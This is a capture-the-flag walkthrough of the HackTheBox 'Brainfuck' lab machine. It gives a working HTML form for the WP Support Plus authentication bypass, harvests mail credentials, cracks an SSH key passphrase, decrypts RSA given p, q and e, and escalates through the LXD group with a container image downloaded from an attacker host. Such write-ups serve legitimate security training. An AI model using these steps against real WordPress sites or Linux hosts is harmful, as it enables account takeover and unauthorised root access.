Insane

HTB: Brainfuck

QA210 ยท Mar 20, 2023 ยท WordPress ยท IMAP ยท RSA
Box
Brainfuck
Difficulty
Insane
OS
Linux
User
00:59:46
Root
01:14:21
Creator
ch4p
HTTPS โ†’ TLS SAN enum โ†’ sup3rs3cr3t.brainfuck.htb
WP โ†’ WP Support Plus 7.1.3 auth bypass โ†’ admin session
WP โ†’ SMTP creds in settings โ†’ orestis:kHGuERB29DNiNE
IMAP โ†’ Mailbox access โ†’ forum password kIEnnfEKJ#9UmdO
FORUM โ†’ Weak substitution cipher โ†’ SSH key URL
SSH โ†’ Key crack (3poulakia!) โ†’ orestis shell
LOCAL โ†’ RSA decrypt (p, q, e given) โ†’ root.txt

Recon

Initial Scanning

Five ports open on this target โ€” SSH, SMTP, POP3, IMAP, and HTTPS. The combination of mail services and a web server is immediately interesting. The TLS certificate on port 443 leaks two SANs that hint at hidden virtual hosts:

bash
$ nmap -Pn -p- -A -T5 10.10.10.17
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
25/tcp  open  smtp     Postfix smtpd
110/tcp open  pop3     Dovecot pop3d
143/tcp open imap     Dovecot imapd
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Virtual Host Enumeration

The TLS certificate reveals two Subject Alternative Names: www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb. The web server is using hostname-based virtual hosting, so all three need to be added to /etc/hosts:

bash
# /etc/hosts
10.10.10.17  brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

Visiting www.brainfuck.htb redirects to brainfuck.htb, confirming they serve the same application. The secret subdomain will be explored later once we have credentials.

brainfuck.htb โ€” WordPress Enumeration

The main site runs WordPress 4.7.3. The blog author is admin with email orestis@brainfuck.htb โ€” both pieces of information will become critical shortly. Plugin enumeration reveals WP Support Plus Responsive Ticket System 7.1.3, a plugin with known authentication bypass vulnerabilities:

bash
$ searchsploit wp support plus responsive ticket system
-----------------------------------------------------------------------------------
 WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/40939
 WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection       | php/webapps/41006

WordPress Admin Access

WP Support Plus Auth Bypass (CVE-2018-5830)

The loginGuestFacebook.php endpoint in WP Support Plus 7.1.3 calls wp_set_auth_cookie() without proper validation. Knowing the username and email of any WordPress account is sufficient to authenticate as that user โ€” no password required. We already have both for the admin account:

html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
  <input type="text" name="username" value="admin">
  <input type="hidden" name="email" value="orestis@brainfuck.htb">
  <input type="hidden" name="action" value="loginGuestFacebook">
  <input type="submit" value="Login">
</form>

Save the form to pwn.html, serve it with a Python HTTP server, submit it in the browser, and you're authenticated as admin. The WordPress dashboard is now fully accessible.

SMTP Credentials from WordPress Settings

Navigating to Settings โ†’ Easy WP SMTP reveals stored SMTP credentials for the mail server:

bash
SMTP Host: brainfuck.htb
SMTP Port: 25
Encryption: No encryption
Username:  orestis
Password:  kHGuERB29DNiNE
Info

The WordPress plugin "Easy WP SMTP" stores credentials in plain text within the WordPress options table. Any admin-level access to the dashboard exposes them.

Mailbox Access via IMAP

Mapping the Mailbox with Mutt

With Orestis's SMTP credentials in hand, the IMAP service on port 143 becomes accessible. Using mutt with a custom configuration file provides an easy way to browse the mailbox:

ini
# muttrc
set spoolfile = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set folder    = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set record    = "Sent"
set postponed = "Drafts"
set ssl_starttls = no
set ssl_force_tls = no
set mail_check = 60
set timeout    = 10
set header_cache = /tmp/.hcache
bash
$ mutt -F ./muttrc

Inside the inbox, an email from the forum administrator contains a password reset for Orestis's account on the secret forum:

bash
Username: orestis
Password: kIEnnfEKJ#9UmdO

SSH Key Recovery

sup3rs3cr3t.brainfuck.htb โ€” Forum Access

Logging into the Flarum forum at sup3rs3cr3t.brainfuck.htb with the new credentials reveals a discussion thread between Orestis and another user. Orestis's messages contain encoded text that looks like a substitution cipher. Comparing multiple messages reveals a pattern:

bash
# Orestis's encoded messages (excerpt):
# Message 1: "Sze my zvvvbq hdgfbq lqhsxb cqjd..."
# Message 2: "Hq lqhsxb cqjd wbpcldv..."

# Comparing with the known context and structure,
# the first words likely map to English words.
# Testing "Brainfuck" as a key for a Vigenere-like cipher...

Breaking the Substitution Cipher

After analyzing multiple messages, the encoding turns out to be a simple substitution where each letter is shifted based on the keyword fuckmybrain. Decoding Orestis's messages reveals a URL pointing to an SSH private key:

bash
# Decoded message contains:
# "You can find my SSH key at: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa"

$ curl -ks https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -o orestis.key
$ chmod 600 orestis.key

Cracking the SSH Key Passphrase

The downloaded key is AES-128-CBC encrypted. Converting it to a John-compatible hash and cracking with rockyou.txt:

bash
$ ssh2john ./orestis.key > ssh-hash.txt
$ john --wordlist=rockyou.txt ssh-hash.txt
3poulakia!      (orestis.key)

$ ssh -i ./orestis.key orestis@10.10.10.17
Enter passphrase for key './orestis.key': 3poulakia!
orestis@brainfuck:~$
User Flag

2c11cfbc5b959f73ac15a3310bd097c9

Privilege Escalation

Post-Exploitation Enumeration

The user orestis is a member of the lxd group (which offers an alternative privesc path via container creation), but the intended route lies in a SageMath script found in the home directory:

bash
orestis@brainfuck:~$ ls -la
-rw-r--r-- 1 orestis orestis  274 Apr 13  2017 debug.txt
-rw-r--r-- 1 orestis orestis  419 Apr 13  2017 encrypt.sage
-rw-r--r-- 1 orestis orestis   73 Apr 13  2017 output.txt

The encrypt.sage Script

This is a SageMath (Python-based mathematics system) script that encrypts the root flag using 1024-bit RSA. Crucially, it saves all the parameters needed for decryption:

python
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

The script writes three values to debug.txt and the ciphertext to output.txt. With p, q, and e all known, recovering the plaintext is a textbook RSA decryption exercise.

RSA Decryption

The classic RSA decryption algorithm given p, q, e, and c:

  1. Compute n = p * q
  2. Compute phi = (p-1) * (q-1)
  3. Compute d = e^(-1) mod phi (modular inverse using Extended Euclidean Algorithm)
  4. Compute m = c^d mod n
  5. Convert integer m back to bytes โ†’ the flag
python
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

n = p * q
phi = (p - 1) * (q - 1)

# Extended Euclidean Algorithm for modular inverse
def egcd(a, b):
    if a == 0:
        return b, 0, 1
    g, x, y = egcd(b % a, a)
    return g, y - (b // a) * x, x

d = egcd(e, phi)[1] % phi
m = pow(ct, d, n)
print(long_to_bytes(m).decode())
bash
$ python3 solve_rsa.py
6efc1a5dbb8904751ce6566a305bb8ef
Root Flag

6efc1a5dbb8904751ce6566a305bb8ef

Alternative Path: LXD

LXD Group Privilege Escalation

Orestis is a member of the lxd group, which allows creating and managing LXC containers. This provides an alternative root path by mounting the host filesystem inside a privileged container. The attack requires transferring an Alpine LXD image to the target:

bash
# On attacker: build the image
$ git clone https://github.com/saghul/lxd-alpine-builder
$ cd lxd-alpine-builder
$ sed -i 's,ydl_cmd="wget",ydl_cmd="curl -L",' build-alpine
$ sudo ./build-alpine
$ python3 -m http.server 8080

# On target: download and import
orestis@brainfuck:~$ wget http://10.10.14.8:8080/alpine-v3.16-x86_64-20230115_0135.tar.gz
orestis@brainfuck:~$ lxc image import ./alpine-v3.16-x86_64-20230115_0135.tar.gz --alias qa210img
orestis@brainfuck:~$ lxc init qa210img qa210cnt -c security.privileged=true
orestis@brainfuck:~$ lxc config device add qa210cnt rootdev disk source=/ path=/mnt/root recursive=true
orestis@brainfuck:~$ lxc start qa210cnt
orestis@brainfuck:~$ lxc exec qa210cnt /bin/sh
~ # cat /mnt/root/root/root.txt
Warning

The LXD path provides root file access but does not grant a true root shell on the host. It mounts the host filesystem inside the container, which is sufficient to read the flag but doesn't give host-level process execution.